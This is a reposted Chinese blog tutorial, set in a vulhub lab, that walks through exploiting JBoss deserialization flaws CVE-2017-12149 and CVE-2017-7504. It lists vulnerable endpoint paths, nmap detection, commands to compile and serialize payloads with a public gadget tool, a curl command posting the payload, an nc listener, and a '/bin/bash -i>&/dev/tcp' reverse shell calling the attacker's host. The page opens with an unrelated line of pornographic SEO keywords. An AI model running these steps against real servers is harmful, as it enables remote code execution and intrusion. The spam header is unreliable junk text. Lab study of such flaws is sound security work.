日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

JBoss 4.x 5.x 6.xJBossMQ JMS 反序列化漏洞

發布時間:2024/6/3 编程问答 40 豆豆
生活随笔 收集整理的這篇文章主要介紹了 JBoss 4.x 5.x 6.xJBossMQ JMS 反序列化漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

Jboss反序列化漏洞利用CVE-2017-12149/CVE-2017-7504

    • 基礎知識
    • 漏洞原理
    • 影響版本
    • 復現思路
    • 復現—CVE-2017-12149
      • 1、特征檢測
      • 2、反彈shell
    • 復現—CVE-2017-7504
      • 1、特征檢測
      • 2、反彈shell

基礎知識

??序列化就是把對象轉換成字節流,便于保存在內存、文件、數據庫中;反序列化即逆過程,由字節流還原成對象。

??Java中的ObjectOutputStream類的writeObject()方法可以實現序列化,ObjectInputStream類的readObject()方法用于反序列化。

??形成漏洞的根源在于類ObjectInputStream在反序列化時,沒有對生成的對象的類型做限制。

漏洞原理

CVE-2017-12149

??漏洞影響5.x和6.x版本的JBOSSAS。該漏洞位于JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進行反序列化,導致攻擊者可以通過精心設計的序列化數據來執行任意代碼。

CVE-2017-7504

??JBoss AS 4.x及之前版本中,JbossMQ實現過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,遠程攻擊者可借助特制的序列化數據利用該漏洞執行任意代碼。

影響版本

??CVE-2017-12149:JBoss AS 5.x和6.x版
??CVE-2017-7504:JBoss AS 4.x及之前版本

復現思路

  • 云主機的內置vulhub8080端口搭建實驗靶場
  • 加載攻擊腳本,編譯并生成序列化數據
  • 序列化惡意數據至文件,將該文件作為請求數據主體發送數據包
  • 云主機開啟端口監聽反彈過來的shell
  • CVE-2017-12149利用路徑是/invoker/readonly
  • CVE-2017-7504利用路徑是/jbossmq-httpil/HTTPServerILServlet
  • CVE-2015-7501的利用路徑是/invoker/JMXInvokerServlet
  • 復現—CVE-2017-12149


    前情提要:云主機作為攻擊方,云主機內部靶場鏡像開啟JBOOS CVE-2017-12149漏洞容器作為受害方。

    本文使用的腳本下載地址:
    https://github.com/joaomatosf/JavaDeserH2HC

    開啟漏洞環境主頁面:

    1、特征檢測

    端口掃描:

    // 使用nmap掃描端口,檢測是否開啟該服務: nmap -p 1-65535 -A 目標 IP
    • 1
    • 2


    目錄拼接:

    訪問 http://IP:port/invoker/readonly

    若出現如上500報錯頁面,則說明符合特征,可能存在該漏洞。

    2、反彈shell

    腳本下載地址:

    https://github.com/joaomatosf/JavaDeserH2HC

    下載工具腳本,后進入工具目錄:


    編譯并生成序列化數據:

    // 執行下面命令會生成相應的.class文件javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
    • 1
    • 2

    ser全稱serialize,序列化惡意數據至文件:

    // 執行下面命令會生成相應的.ser文件 java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 云主機IP:port(反彈shell使用的監聽端口)
    • 1
    • 2

    將該文件作為請求數據主體發送數據包,–data-binary 意為以二進制的方式post數據:

    // curl 這個二進制文件發送payload curl http://目標 IP:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    • 1
    • 2

    監聽端口:

    // 開啟監聽端口 nc -lvnp 6666
    • 1
    • 2

    過程截圖:


    成功反彈(注:這里出現connect to [X.X.X.X] from x.x.x.x 后就可以直接執行命令了,博主以為卡死了等了好久,做了很多嘗試才發現已經連接成功了 QAQ)

    復現—CVE-2017-7504


    前情提要:云主機作為攻擊方,云主機內部靶場鏡像開啟JBOOS CVE-2017-7504漏洞容器作為受害方。

    1、特征檢測

    端口掃描:

    // 使用nmap掃描端口,檢測是否開啟該服務: nmap -p 1-65535 -A 目標 IP
    • 1
    • 2


    目錄拼接:

    訪問 http://IP:port/jbossmq-httpil/HTTPServerILServlet

    2、反彈shell

    進入上文中下載的工具腳本文件,編譯并生成序列化數據:

    // 執行下面命令會生成相應的.class文件 javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
    • 1
    • 2

    序列化惡意數據至文件:

    // 執行下面命令會生成相應的.ser文件 java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java '/bin/bash -i>&/dev/tcp/云主機IP/監聽端口<&1' (反彈shell使用的監聽端口)
    • 1
    • 2

    將該文件作為請求數據主體發送數據包,–data-binary 意為以二進制的方式post數據:

    // curl 這個二進制文件發送payload curl http://目標IP:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser
    • 1
    • 2

    監聽端口:

    // 開啟監聽端口 nc -lvnp 6666
    • 1
    • 2

    過程截圖:

    成功反彈~!

    集成工具下載地址(還闊以,挺好用的):
    https://github.com/joaomatosf/jexboss


    總結

    以上是生活随笔為你收集整理的JBoss 4.x 5.x 6.xJBossMQ JMS 反序列化漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。